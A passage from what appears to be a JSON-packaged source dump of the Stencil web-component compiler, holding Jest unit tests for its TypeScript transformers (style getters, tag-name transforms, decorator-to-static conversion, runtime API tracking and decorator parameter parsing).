'/path/to/style1.css' },\n          { absolutePath: '/path/to/style2.css' },\n          { absolutePath: '/path/to/style3.css' },\n        ],\n      } as d.StyleCompiler;\n\n      const result = createStyleIdentifier(mockComponent, style);\n\n      expect(style.styleIdentifier).toBe('MyComponentIosStyle');\n      // MyComponentIosStyle0() + MyComponentIosStyle1() + MyComponentIosStyle2()\n      expect(ts.isBinaryExpression(result)).toBe(true);\n\n      let binaryExpr = result as ts.BinaryExpression;\n      expect(binaryExpr.operatorToken.kind).toBe(ts.SyntaxKind.PlusToken);\n      // Check that the right side is also a binary expression (nested)\n      let rightBinary = binaryExpr.right;\n      // If rightBinary is a CallExpression, check if its callee is a ParenthesizedExpression wrapping a BinaryExpression\n      if (ts.isCallExpression(rightBinary)) {\n        const callExpr = rightBinary;\n        if (ts.isParenthesizedExpression(callExpr.expression)) {\n          const inner = callExpr.expression.expression;\n          if (ts.isBinaryExpression(inner)) {\n            rightBinary = inner;\n          }\n        }\n      }\n\n      // Check actual output\n      const output = printer.printNode(ts.EmitHint.Unspecified, result, sourceFile);\n      expect(output).toBe('MyComponentIosStyle0() + (MyComponentIosStyle1() + MyComponentIosStyle2())');\n    });\n  });\n\n  describe('integration scenarios', () => {\n    it('should handle component with no styles gracefully', () => {\n      const classMembers: ts.ClassElement[] = [];\n      const styleStatements: ts.Statement[] = [];\n      mockComponent.styles = [];\n\n      addStaticStyleGetterWithinClass(classMembers, mockComponent, buildCtx);\n      addStaticStylePropertyToClass(styleStatements, mockComponent, buildCtx);\n\n      expect(classMembers).toHaveLength(0);\n      expect(styleStatements).toHaveLength(0);\n    });\n\n    it('should handle component with mixed style types', () => {\n      const classMembers: ts.ClassElement[] = [];\n      mockComponent.styles = [\n        {\n          modeName: 'md',\n          styleStr: '.my-component { color: red; }',\n        },\n        {\n          modeName: 'ios',\n          externalStyles: [{ absolutePath: '/path/to/ios.css' }],\n        },\n        {\n          modeName: 'dark',\n          styleIdentifier: 'darkModeStyle',\n        },\n      ] as d.StyleCompiler[];\n\n      addStaticStyleGetterWithinClass(classMembers, mockComponent, buildCtx);\n\n      expect(classMembers).toHaveLength(1);\n      expect(ts.isGetAccessorDeclaration(classMembers[0])).toBe(true);\n\n      // Check actual output - should handle mixed style types\n      const getter = classMembers[0] as ts.GetAccessorDeclaration;\n      const output = printer.printNode(ts.EmitHint.Unspecified, getter, sourceFile);\n      expect(output).toContain('static get style()');\n      expect(output).toContain('md: `.my-component { color: red; }`');\n      expect(output).toContain('ios: MyComponentIosStyle0');\n      expect(output).toContain('dark: darkModeStyle');\n    });\n\n    it('should handle tag transform configuration', () => {\n      buildCtx.config.extras.additionalTagTransformers = true;\n      buildCtx.components = [{ tagName: 'other-component' }] as d.ComponentCompilerMeta[];\n\n      const classMembers: ts.ClassElement[] = [];\n      mockComponent.styles = [\n        {\n          modeName: 'md',\n          styleStr: '.my-component { color: red; } other-component { color: blue; }',\n        } as d.StyleCompiler,\n      ];\n\n      addStaticStyleGetterWithinClass(classMembers, mockComponent, buildCtx);\n\n      expect(classMembers).toHaveLength(1);\n      expect(ts.isGetAccessorDeclaration(classMembers[0])).toBe(true);\n\n      // Check actual output - should include tag transformation logic\n      const getter = classMembers[0] as ts.GetAccessorDeclaration;\n      const output = printer.printNode(ts.EmitHint.Unspecified, getter, sourceFile);\n      expect(output).toContain('static get style()');\n      expect(output).toContain(\n        'md: `.my-component { color: red; } ${__stencil_transformTag(\"other-component\")} { color: blue; }`',\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/add-tag-transform.spec.ts",
    "content": "import { mockBuildCtx } from '@stencil/core/testing';\nimport { addTagTransform } from '../add-tag-transform';\nimport { transpileModule } from './transpile';\nimport { formatCode } from './utils';\n\ndescribe('add-tag-transform', () => {\n  let buildCtx: any;\n  let compilerCtx: any;\n  let transformer: any;\n\n  beforeEach(() => {\n    buildCtx = mockBuildCtx();\n    compilerCtx = buildCtx.compilerCtx;\n\n    buildCtx.components.push(\n      // @ts-ignore - just testing\n      { tagName: 'cmp-a' },\n      // @ts-ignore - just testing\n      { tagName: 'cmp-b' },\n    );\n\n    transformer = addTagTransform(compilerCtx, buildCtx);\n  });\n\n  describe('document.createElement', () => {\n    it('should transform createElement calls with component tags', async () => {\n      const cmp = `\n        @Component({ tag: 'cmp-a' })\n        export class CmpA { \n          someMethod() {\n            const el = document.createElement('cmp-a');\n          }\n        }\n      `;\n\n      const transpileResult = transpileModule(cmp, buildCtx.config, compilerCtx, [], [transformer]);\n      const res = await formatCode(transpileResult.outputText);\n\n      expect(transpileResult.diagnostics).toHaveLength(0);\n      expect(res).toContain(\"const el = document.createElement(__stencil_transformTag('cmp-a'));\");\n    });\n\n    it('should not transform any createElement calls', async () => {\n      const cmp = `\n        @Component({ tag: 'cmp-a' })\n        export class CmpA { \n          someMethod() {\n            const tag = 'div';\n            const el = document.createElement(tag);\n          }\n        }\n      `;\n\n      const transpileResult = transpileModule(cmp, buildCtx.config, compilerCtx, [], [transformer]);\n      const res = await formatCode(transpileResult.outputText);\n\n      expect(transpileResult.diagnostics).toHaveLength(0);\n      expect(res).toContain('const el = document.createElement(__stencil_transformTag(tag));');\n    });\n  });\n\n  describe('document.querySelector, document.querySelectorAll, document.closest', () => {\n    it('should transform querySelector calls with component tags', async () => {\n      const cmp = `\n        @Component({ tag: 'cmp-a' })\n        export class CmpA { \n          someMethod() {\n            const queriedEl = document.querySelector('cmp-b#id');\n          }\n        }\n      `;\n\n      const transpileResult = transpileModule(cmp, buildCtx.config, compilerCtx, [], [transformer]);\n      const res = await formatCode(transpileResult.outputText);\n\n      expect(transpileResult.diagnostics).toHaveLength(0);\n      expect(res).toContain(\"const queriedEl = document.querySelector(`${__stencil_transformTag('cmp-b')}#id`);\");\n    });\n\n    it('should not transform querySelector calls with non-component tags', async () => {\n      const cmp = `\n        @Component({ tag: 'cmp-a' })\n        export class CmpA { \n          someMethod() {\n            const queriedEl = document.querySelector('cmp-left-alone');\n          }\n        }\n      `;\n\n      const transpileResult = transpileModule(cmp, buildCtx.config, compilerCtx, [], [transformer]);\n      const res = await formatCode(transpileResult.outputText);\n\n      expect(transpileResult.diagnostics).toHaveLength(0);\n      expect(res).toContain(\"const queriedEl = document.querySelector('cmp-left-alone');\");\n    });\n\n    it('should transform querySelectorAll calls with mixed component and non-component tags', async () => {\n      const cmp = `\n        @Component({ tag: 'cmp-a' })\n        export class CmpA { \n          someMethod() {\n            const queriedEls = document.querySelectorAll('cmp-a[data-attr], cmp-b.class, cmp-left-alone');\n          }\n        }\n      `;\n\n      const transpileResult = transpileModule(cmp, buildCtx.config, compilerCtx, [], [transformer]);\n      const res = await formatCode(transpileResult.outputText);\n\n      expect(transpileResult.diagnostics).toHaveLength(0);\n      expect(res).toContain(\n        \"`${__stencil_transformTag('cmp-a')}[data-attr], ${__stencil_transformTag('cmp-b')}.class, cmp-left-alone`\",\n      );\n    });\n\n    it('should handle querySelectorAll with only component tags', async () => {\n      const cmp = `\n        @Component({ tag: 'cmp-a' })\n        export class CmpA { \n          someMethod() {\n            const queriedEls = document.querySelectorAll('cmp-a, cmp-b');\n          }\n        }\n      `;\n\n      const transpileResult = transpileModule(cmp, buildCtx.config, compilerCtx, [], [transformer]);\n      const res = await formatCode(transpileResult.outputText);\n\n      expect(transpileResult.diagnostics).toHaveLength(0);\n      expect(res).toContain(\"`${__stencil_transformTag('cmp-a')}, ${__stencil_transformTag('cmp-b')}`\");\n    });\n\n    it('should transform closest calls with component tags', async () => {\n      const cmp = `\n        @Component({ tag: 'cmp-a' })\n        export class CmpA { \n          someMethod() {\n            const el = document.querySelector('div');\n            const closestCmp = el.closest('cmp-b');\n          }\n        }\n      `;\n\n      const transpileResult = transpileModule(cmp, buildCtx.config, compilerCtx, [], [transformer]);\n      const res = await formatCode(transpileResult.outputText);\n\n      expect(transpileResult.diagnostics).toHaveLength(0);\n      expect(res).toContain(\"const closestCmp = el.closest(`${__stencil_transformTag('cmp-b')}`);\");\n    });\n\n    it('should handle complex CSS selectors with multiple components', async () => {\n      const cmp = `\n        @Component({ tag: 'cmp-a' })\n        export class CmpA { \n          someMethod() {\n            const el = document.querySelector('cmp-a > cmp-b + .some-class[attr=\"value\"]');\n          }\n        }\n      `;\n\n      const transpileResult = transpileModule(cmp, buildCtx.config, compilerCtx, [], [transformer]);\n      const res = await formatCode(transpileResult.outputText);\n\n      expect(transpileResult.diagnostics).toHaveLength(0);\n      expect(res).toContain(\n        \"`${__stencil_transformTag('cmp-a')} > ${__stencil_transformTag('cmp-b')} + .some-class[attr=\\\"value\\\"]`\",\n      );\n    });\n\n    it('should handle pseudo-selectors with component tags', async () => {\n      const cmp = `\n        @Component({ tag: 'cmp-a' })\n        export class CmpA { \n          someMethod() {\n            const el = document.querySelector('cmp-a:hover');\n          }\n        }\n      `;\n\n      const transpileResult = transpileModule(cmp, buildCtx.config, compilerCtx, [], [transformer]);\n      const res = await formatCode(transpileResult.outputText);\n\n      expect(transpileResult.diagnostics).toHaveLength(0);\n      expect(res).toContain(\"document.querySelector(`${__stencil_transformTag('cmp-a')}:hover`\");\n    });\n  });\n\n  describe('customElements', () => {\n    it('should transform customElements.get calls with component tags', async () => {\n      const cmp = `\n        @Component({ tag: 'cmp-a' })\n        export class CmpA { \n          someMethod() {\n            const currentDefinition = customElements.get('cmp-a');\n          }\n        }\n      `;\n\n      const transpileResult = transpileModule(cmp, buildCtx.config, compilerCtx, [], [transformer]);\n      const res = await formatCode(transpileResult.outputText);\n\n      expect(transpileResult.diagnostics).toHaveLength(0);\n      expect(res).toContain(\"customElements.get(__stencil_transformTag('cmp-a'));\");\n    });\n\n    it('should transform customElements.define calls with component tags', async () => {\n      const cmp = `\n        @Component({ tag: 'cmp-a' })\n        export class CmpA { \n          someMethod() {\n            customElements.define('cmp-a', CmpA);\n          }\n        }\n      `;\n\n      const transpileResult = transpileModule(cmp, buildCtx.config, compilerCtx, [], [transformer]);\n      const res = await formatCode(transpileResult.outputText);\n\n      expect(transpileResult.diagnostics).toHaveLength(0);\n      expect(res).toContain(\"customElements.define(__stencil_transformTag('cmp-a'), CmpA);\");\n    });\n\n    it('should transform customElements.whenDefined calls with component tags', async () => {\n      const cmp = `\n      @Component({ tag: 'cmp-a' })\n      export class CmpA { \n        someMethod() {\n        customElements.whenDefined('cmp-a').then(() => console.log('defined'));\n        }\n      }\n      `;\n\n      const transpileResult = transpileModule(cmp, buildCtx.config, compilerCtx, [], [transformer]);\n      const res = await formatCode(transpileResult.outputText);\n\n      expect(transpileResult.diagnostics).toHaveLength(0);\n      expect(res).toContain(\"customElements.whenDefined(__stencil_transformTag('cmp-a'))\");\n    });\n  });\n\n  // feels a bit OTT(?)\n\n  // describe('binary expressions', () => {\n  //   it('should transform tag name comparisons with component tags', async () => {\n  //     const cmp = `\n  //       @Component({ tag: 'cmp-a' })\n  //       export class CmpA {\n  //         someMethod() {\n  //           const el = document.createElement('div');\n  //           if (el.tagName === 'cmp-a') {\n  //             console.log('is cmp-a');\n  //           }\n  //           if ('cmp-b' == el.tagName) {\n  //             console.log('is cmp-b');\n  //           }\n  //         }\n  //       }\n  //     `;\n\n  //     const transpileResult = transpileModule(cmp, buildCtx.config, compilerCtx, [], [transformer]);\n  //     const res = await formatCode(transpileResult.outputText);\n\n  //     expect(transpileResult.diagnostics).toHaveLength(0);\n  //     expect(res).toContain(\"if (el.tagName === __stencil_transformTag('cmp-a')) {\");\n  //     expect(res).toContain(\"if (__stencil_transformTag('cmp-b') == el.tagName) {\");\n  //   });\n  // });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/convert-decorators.spec.ts",
    "content": "import * as ts from 'typescript';\n\nimport { filterDecorators } from '../decorators-to-static/convert-decorators';\nimport { getStaticGetter, transpileModule } from './transpile';\nimport { c, formatCode } from './utils';\n\ndescribe('convert-decorators', () => {\n  it('should convert `@Prop` class fields to properties', async () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() val: string = \"initial value\";\n      }\n    `);\n\n    // we test the whole output here to ensure that the field has been\n    // removed from the class body correctly and replaced with an initializer\n    // in the constructor\n    expect(await formatCode(t.outputText)).toBe(\n      await c`export class CmpA {\n        constructor() {\n          this.val = \"initial value\";\n        }\n        static get is() {\n          return \"cmp-a\";\n        }\n        static get properties() {\n          return {\n            \"val\": {\n              \"type\": \"string\",\n              \"mutable\": false,\n              \"complexType\": { \"original\": \"string\", \"resolved\": \"string\", \"references\": {} },\n              \"required\": false,\n              \"optional\": false,\n              \"docs\": { \"tags\": [], \"text\": \"\" },\n              \"getter\": false, \n              \"setter\": false,\n              \"reflect\": false,\n               attribute: 'val',\n              \"defaultValue\": \"\\\\\"initial value\\\\\"\"\n            }\n          };\n        }}`,\n    );\n  });\n\n  it('should get the correct literal for a computed property enum used for a `@Prop`', async () => {\n    const t = transpileModule(`\n      enum MyEnum {\n        MY_PROP = 'myVal'\n      }\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() [MyEnum.MY_PROP]: string;\n      }\n    `);\n\n    expect(t.properties).toEqual([\n      {\n        name: 'myVal',\n        type: 'string',\n        attribute: 'my-val',\n        reflect: false,\n        mutable: false,\n        required: false,\n        optional: false,\n        defaultValue: undefined,\n        complexType: { original: 'string', resolved: 'string', references: {} },\n        docs: { tags: [], text: '' },\n        internal: false,\n        getter: false,\n        setter: false,\n      },\n    ]);\n  });\n\n  it('should get the correct literal for a computed property variable used for a `@Prop`', async () => {\n    const t = transpileModule(`\n      const tmp = 'myVal';\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() [tmp]: string;\n      }\n    `);\n\n    expect(t.properties).toEqual([\n      {\n        name: 'myVal',\n        type: 'string',\n        attribute: 'my-val',\n        reflect: false,\n        mutable: false,\n        required: false,\n        optional: false,\n        defaultValue: undefined,\n        complexType: { original: 'string', resolved: 'string', references: {} },\n        docs: { tags: [], text: '' },\n        internal: false,\n        getter: false,\n        setter: false,\n      },\n    ]);\n  });\n\n  it('should convert `@State` class fields to properties', async () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-b'})\n      export class CmpB {\n        @State() count: number = 0;\n      }\n    `);\n\n    // we test the whole output here to ensure that the field has been\n    // removed from the class body correctly and replaced with an initializer\n    // in the constructor\n    expect(await formatCode(t.outputText)).toBe(\n      await c`export class CmpB {\n        constructor() {\n          this.count = 0;\n        }\n        static get is() {\n          return \"cmp-b\";\n        }\n        static get states() {\n          return { \"count\": {}};\n        }}`,\n    );\n  });\n\n  it('should get the correct literal for a computed property enum used for a `@State`', async () => {\n    const t = transpileModule(`\n      enum MyEnum {\n        MY_PROP = 'myVal'\n      }\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @State() [MyEnum.MY_PROP]: string;\n      }\n    `);\n\n    expect(t.states).toEqual([\n      {\n        name: 'myVal',\n      },\n    ]);\n  });\n\n  it('should get the correct literal for a computed property variable used for a `@State`', async () => {\n    const t = transpileModule(`\n      const tmp = 'myVal';\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @State() [tmp]: string;\n      }\n    `);\n\n    expect(t.states).toEqual([\n      {\n        name: 'myVal',\n      },\n    ]);\n  });\n\n  it('should not add a constructor if no class fields are present', async () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n      }\n    `);\n\n    // we test the whole output here to ensure that the field has been\n    // removed from the class body correctly and replaced with an initializer\n    // in the constructor\n    expect(await formatCode(t.outputText)).toBe(\n      await c`export class CmpA {\n        static get is() {\n          return \"cmp-a\";\n        }}`,\n    );\n  });\n\n  it('should add a super call to the constructor if necessary', async () => {\n    const t = transpileModule(\n      `@Component({tag: 'cmp-a'})\n      export class CmpA extends Foobar {\n        @State() count: number = 0;\n      }\n    `,\n    );\n\n    expect(await formatCode(t.outputText)).toBe(\n      await c`export class CmpA extends Foobar {\n        constructor() {\n          this.count = 0;\n          super();\n        }\n        static get is() {\n          return 'cmp-a';\n        }\n        static get states() {\n          return { \"count\": {} };\n        }}`,\n    );\n  });\n\n  it('should preserve statements in an existing constructor', async () => {\n    const t = transpileModule(`\n    @Component({\n      tag: 'my-component',\n    })\n    export class MyComponent {\n      constructor() {\n        console.log('boop');\n      }\n    }`);\n\n    expect(await formatCode(t.outputText)).toBe(\n      await c`export class MyComponent {\n        constructor() {\n          console.log('boop');\n        }\n        static get is() {\n          return \"my-component\";\n      }}`,\n    );\n  });\n\n  it('should preserve statements in an existing constructor w/ @Prop', async () => {\n    const t = transpileModule(`\n    @Component({\n      tag: 'my-component',\n    })\n    export class MyComponent {\n      @Prop() count: number;\n\n      constructor() {\n        console.log('boop');\n      }\n    }`);\n\n    expect(await formatCode(t.outputText)).toContain(\n      `  constructor() {\n    console.log('boop');\n  }`,\n    );\n  });\n\n  it('should allow user to initialize field in an existing constructor w/ @Prop', async () => {\n    const t = transpileModule(\n      `@Component({\n      tag: 'my-component',\n    })\n    export class MyComponent {\n      @Prop() count: number;\n\n      constructor() {\n        this.count = 3;\n      }\n    }`,\n    );\n\n    // the initialization we do to `undefined` (since no value is present)\n    // should be before the user's `this.count = 3` to ensure that their code\n    // wins.\n    expect(await formatCode(t.outputText)).toContain(\n      `  constructor() {\n    this.count = 3;\n  }`,\n    );\n  });\n\n  it('should preserve statements in an existing constructor w/ non-decorated field', async () => {\n    const t = transpileModule(`\n    @Component({\n      tag: 'example-tag',\n    })\n    export class Example implements FooBar {\n      private classProps: Array<string>;\n\n      constructor() {\n        this.classProps = [\"variant\", \"theme\"];\n      }\n    }`);\n\n    expect(await formatCode(t.outputText)).toBe(\n      await c`export class Example {\n        constructor() {\n          this.classProps = [\"variant\", \"theme\"];\n        }\n        static get is() {\n          return 'example-tag';\n        }\n      }`,\n    );\n  });\n\n  it('should preserve statements in an existing constructor super, decorated field', async () => {\n    const t = transpileModule(`\n    @Component({\n      tag: 'example-tag',\n    })\n    export class Example extends Parent {\n      @Prop() foo: string = \"bar\";\n\n      constructor() {\n        console.log(\"hello!\")\n      }\n    }`);\n\n    expect(await formatCode(t.outputText)).toContain(\n      `  constructor() {\n    this.foo = 'bar';\n    super();\n    console.log('hello!');\n  }`,\n    );\n  });\n\n  it('should not add a super call to the constructor if not necessary', async () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA implements Foobar {\n        @State() count: number = 0;\n      }\n    `);\n\n    expect(await formatCode(await formatCode(t.outputText))).toBe(\n      await c`export class CmpA {\n        constructor() {\n          this.count = 0;\n        }\n        static get is() {\n          return \"cmp-a\";\n        }\n        static get states() {\n          return { \"count\": {} };\n        }}`,\n    );\n  });\n\n  it('should not convert `@Event` fields to constructor-initialization', async () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      export class CmpA {\n\n      @Event({\n        eventName: 'my-event-with-options',\n        bubbles: false,\n        cancelable: false,\n      })\n      myEventWithOptions: EventEmitter<{ mph: number }>;\n    }\n    `);\n\n    // we test the whole output here to ensure that the field has been\n    // removed from the class body correctly and replaced with an initializer\n    // in the constructor\n    expect(await formatCode(t.outputText)).toBe(\n      await c`export class CmpA {\n        static get is() {\n          return \"cmp-a\";\n        }\n        static get events() {\n          return [{\n            \"method\": \"myEventWithOptions\",\n            \"name\": \"my-event-with-options\",\n            \"bubbles\": false,\n            \"cancelable\": false,\n            \"composed\": true,\n            \"docs\": { \"tags\": [], \"text\": \"\" },\n            \"complexType\": { \"original\": \"{ mph: number }\", \"resolved\": \"{ mph: number; }\", \"references\": {} }\n          }];\n      }}`,\n    );\n  });\n\n  it('should create formAssociated static getter', async () => {\n    const t = transpileModule(`\n     @Component({\n       tag: 'cmp-a',\n       formAssociated: true\n     })\n      export class CmpA {\n    }\n    `);\n\n    expect(getStaticGetter(t.outputText, 'formAssociated')).toBe(true);\n  });\n\n  it('should support formAssociated with shadow', async () => {\n    const t = transpileModule(`\n     @Component({\n       tag: 'cmp-a',\n       formAssociated: true,\n       shadow: true\n     })\n      export class CmpA {\n    }\n    `);\n\n    expect(getStaticGetter(t.outputText, 'encapsulation')).toBe('shadow');\n    expect(getStaticGetter(t.outputText, 'formAssociated')).toBe(true);\n  });\n\n  it('should support formAssociated with scoped', async () => {\n    const t = transpileModule(`\n     @Component({\n       tag: 'cmp-a',\n       formAssociated: true,\n       scoped: true\n     })\n      export class CmpA {\n    }\n    `);\n\n    expect(getStaticGetter(t.outputText, 'encapsulation')).toBe('scoped');\n    expect(getStaticGetter(t.outputText, 'formAssociated')).toBe(true);\n  });\n\n  it('should create attachInternalsMemberName static getter', async () => {\n    const t = transpileModule(`\n     @Component({\n       tag: 'cmp-a',\n     })\n      export class CmpA {\n      @AttachInternals()\n      elementInternals;\n    }\n    `);\n    expect(getStaticGetter(t.outputText, 'attachInternalsMemberName')).toBe('elementInternals');\n  });\n\n  describe('filterDecorators', () => {\n    it.each<ReadonlyArray<ReadonlyArray<string>>>([[[]], [['ExcludedDecorator']]])(\n      'returns undefined when no decorators are provided',\n      (excludeList: ReadonlyArray<string>) => {\n        const filteredDecorators = filterDecorators(undefined, excludeList);\n\n        expect(filteredDecorators).toBeUndefined();\n      },\n    );\n\n    it.each<ReadonlyArray<ReadonlyArray<string>>>([[[]], [['ExcludedDecorator']]])(\n      'returns undefined for an empty list of decorators',\n      (excludeList: ReadonlyArray<string>) => {\n        const filteredDecorators = filterDecorators([], excludeList);\n\n        expect(filteredDecorators).toBeUndefined();\n      },\n    );\n\n    it('returns a decorator if it is not a call expression', () => {\n      // create a decorator, '@Decorator'. note the lack of '()' after the decorator, making it an identifier\n      // expression, rather than a call expression\n      const decorator = ts.factory.createDecorator(ts.factory.createIdentifier('Decorator'));\n\n      const filteredDecorators = filterDecorators([decorator], []);\n\n      expect(filteredDecorators).toHaveLength(1);\n      expect(filteredDecorators![0]).toBe(decorator);\n    });\n\n    it(\"doesn't return any decorators when all decorators in the exclude list\", () => {\n      // create a '@CustomProp()' decorator\n      const customDecorator = ts.factory.createDecorator(\n        ts.factory.createCallExpression(ts.factory.createIdentifier('CustomProp'), undefined, []),\n      );\n      // create '@Prop()' decorator\n      const decorator = ts.factory.createDecorator(\n        ts.factory.createCallExpression(ts.factory.createIdentifier('Prop'), undefined, []),\n      );\n\n      const filteredDecorators = filterDecorators([customDecorator, decorator], ['Prop', 'CustomProp']);\n\n      expect(filteredDecorators).toBeUndefined();\n    });\n\n    it('returns any decorators not in the exclude list', () => {\n      // create a '@CustomProp()' decorator\n      const customDecorator = ts.factory.createDecorator(\n        ts.factory.createCallExpression(ts.factory.createIdentifier('CustomProp'), undefined, []),\n      );\n      // create '@Prop()' decorator\n      const decorator = ts.factory.createDecorator(\n        ts.factory.createCallExpression(ts.factory.createIdentifier('Prop'), undefined, []),\n      );\n\n      const filteredDecorators = filterDecorators([customDecorator, decorator], ['Prop']);\n\n      expect(filteredDecorators).toHaveLength(1);\n      expect(filteredDecorators![0]).toBe(customDecorator);\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/core-runtime-apis.spec.ts",
    "content": "import { DIST_CUSTOM_ELEMENTS } from '@utils';\nimport * as ts from 'typescript';\n\nimport * as d from '../../../declarations';\nimport { createModule } from '../../transpile/transpiled-module';\nimport { addCoreRuntimeApi, addLegacyApis, addOutputTargetCoreRuntimeApi, RUNTIME_APIS } from '../core-runtime-apis';\n\ndescribe('addCoreRuntimeApi()', () => {\n  let mockModule: d.Module;\n\n  beforeEach(() => {\n    const sourceText = \"console.log('hello world');\";\n    mockModule = createModule(\n      ts.createSourceFile('mock-file.ts', sourceText, ts.ScriptTarget.ES5),\n      sourceText,\n      'mock-file.js',\n    );\n  });\n\n  it(\"adds new entries to a module's coreRuntimeApis\", () => {\n    expect(mockModule.coreRuntimeApis).toBeDefined();\n    expect(mockModule.coreRuntimeApis).toHaveLength(0);\n\n    addCoreRuntimeApi(mockModule, RUNTIME_APIS.Host);\n    expect(mockModule.coreRuntimeApis).toEqual([RUNTIME_APIS.Host]);\n\n    addCoreRuntimeApi(mockModule, RUNTIME_APIS.createEvent);\n    expect(mockModule.coreRuntimeApis).toEqual([RUNTIME_APIS.Host, RUNTIME_APIS.createEvent]);\n  });\n\n  it(\"does not allow duplicate entries in a module's coreRuntimeApis\", () => {\n    expect(mockModule.coreRuntimeApis).toBeDefined();\n    expect(mockModule.coreRuntimeApis).toHaveLength(0);\n\n    addCoreRuntimeApi(mockModule, RUNTIME_APIS.Host);\n    expect(mockModule.coreRuntimeApis).toEqual([RUNTIME_APIS.Host]);\n\n    // attempt to add the api again, doing so shall not create a duplicate entry\n    addCoreRuntimeApi(mockModule, RUNTIME_APIS.Host);\n    expect(mockModule.coreRuntimeApis).toEqual([RUNTIME_APIS.Host]);\n  });\n});\n\ndescribe('addOutputTargetCoreRuntimeApi()', () => {\n  let mockModule: d.Module;\n\n  beforeEach(() => {\n    const sourceText = \"console.log('hello world');\";\n    mockModule = createModule(\n      ts.createSourceFile('mock-file.ts', sourceText, ts.ScriptTarget.ES5),\n      sourceText,\n      'mock-file.js',\n    );\n  });\n\n  it(\"adds new entries to a module's outputTargetCoreRuntimeApis for the specified output target\", () => {\n    expect(mockModule.outputTargetCoreRuntimeApis).toBeDefined();\n    expect(Object.entries(mockModule.outputTargetCoreRuntimeApis)).toHaveLength(0);\n\n    addOutputTargetCoreRuntimeApi(mockModule, DIST_CUSTOM_ELEMENTS, RUNTIME_APIS.Host);\n    expect(mockModule.outputTargetCoreRuntimeApis).toEqual({ [DIST_CUSTOM_ELEMENTS]: [RUNTIME_APIS.Host] });\n\n    addOutputTargetCoreRuntimeApi(mockModule, DIST_CUSTOM_ELEMENTS, RUNTIME_APIS.createEvent);\n    expect(mockModule.outputTargetCoreRuntimeApis).toEqual({\n      [DIST_CUSTOM_ELEMENTS]: [RUNTIME_APIS.Host, RUNTIME_APIS.createEvent],\n    });\n  });\n\n  it(\"does not allow duplicate entries in a module's outputTargetCoreRuntimeApis\", () => {\n    expect(mockModule.outputTargetCoreRuntimeApis).toBeDefined();\n    expect(Object.entries(mockModule.outputTargetCoreRuntimeApis)).toHaveLength(0);\n\n    addOutputTargetCoreRuntimeApi(mockModule, DIST_CUSTOM_ELEMENTS, RUNTIME_APIS.Host);\n    expect(mockModule.outputTargetCoreRuntimeApis).toEqual({ [DIST_CUSTOM_ELEMENTS]: [RUNTIME_APIS.Host] });\n\n    // attempt to add the api again, doing so shall not create a duplicate entry\n    addOutputTargetCoreRuntimeApi(mockModule, DIST_CUSTOM_ELEMENTS, RUNTIME_APIS.Host);\n    expect(mockModule.outputTargetCoreRuntimeApis).toEqual({ [DIST_CUSTOM_ELEMENTS]: [RUNTIME_APIS.Host] });\n  });\n});\n\ndescribe('addLegacyApis()', () => {\n  let mockModule: d.Module;\n\n  beforeEach(() => {\n    const sourceText = \"console.log('hello world');\";\n    mockModule = createModule(\n      ts.createSourceFile('mock-file.ts', sourceText, ts.ScriptTarget.ES5),\n      sourceText,\n      'mock-file.js',\n    );\n  });\n\n  it(\"adds a legacy API to a module's coreRuntimeApis\", () => {\n    expect(mockModule.coreRuntimeApis).toBeDefined();\n    expect(mockModule.coreRuntimeApis).toHaveLength(0);\n\n    addLegacyApis(mockModule);\n    expect(mockModule.coreRuntimeApis).toEqual([RUNTIME_APIS.legacyH]);\n  });\n\n  it(\"does not allow duplicate legacy API entries in a module's coreRuntimeApis\", () => {\n    expect(mockModule.coreRuntimeApis).toBeDefined();\n    expect(mockModule.coreRuntimeApis).toHaveLength(0);\n\n    addLegacyApis(mockModule);\n    expect(mockModule.coreRuntimeApis).toEqual([RUNTIME_APIS.legacyH]);\n\n    // attempt to add the api again, doing so shall not create a duplicate entry\n    addLegacyApis(mockModule);\n    expect(mockModule.coreRuntimeApis).toEqual([RUNTIME_APIS.legacyH]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/decorator-utils.spec.ts",
    "content": "import ts from 'typescript';\n\nimport { getDecoratorParameters } from '../decorators-to-static/decorator-utils';\n\ndescribe('decorator utils', () => {\n  describe('getDecoratorParameters', () => {\n    it('should return an empty array for decorator with no arguments', () => {\n      const decorator: ts.Decorator = {\n        expression: ts.factory.createIdentifier('DecoratorName'),\n      } as unknown as ts.Decorator;\n\n      const typeCheckerMock = {} as ts.TypeChecker;\n      const result = getDecoratorParameters(decorator, typeCheckerMock);\n\n      expect(result).toEqual([]);\n    });\n\n    it('should return correct parameters for decorator with multiple string arguments', () => {\n      const decorator: ts.Decorator = {\n        expression: ts.factory.createCallExpression(ts.factory.createIdentifier('DecoratorName'), undefined, [\n          ts.factory.createStringLiteral('arg1'),\n          ts.factory.createStringLiteral('arg2'),\n        ]),\n      } as unknown as ts.Decorator;\n\n      const typeCheckerMock = {} as ts.TypeChecker;\n      const result = getDecoratorParameters(decorator, typeCheckerMock);\n\n      expect(result).toEqual(['arg1', 'arg2']);\n    });\n\n    it('should return enum value for enum member used in decorator', () => {\n      const typeCheckerMock = {\n        getTypeAtLocation: jest.fn(() => ({\n          value: 'arg1',\n          isLiteral: () => true,\n        })),\n      } as unknown as ts.TypeChecker;\n\n      const decorator: ts.Decorator = {\n        expression: ts.factory.createCallExpression(ts.factory.createIdentifier('DecoratorName'), undefined, [\n          ts.factory.createPropertyAccessExpression(\n            ts.factory.createIdentifier('EnumName'),\n            ts.factory.createIdentifier('EnumMemberName'),\n          ),\n        ]),\n      } as unknown as ts.Decorator;\n\n      const result = getDecoratorParameters(decorator, typeCheckerMock);\n\n      expect(result).toEqual(['arg1']);\n    });\n\n    describe('resolveVar', () => {\n      it('should resolve const variable with string literal', () => {\n        const myEventIdentifier = ts.factory.createIdentifier('MY_EVENT');\n        const variableDeclaration 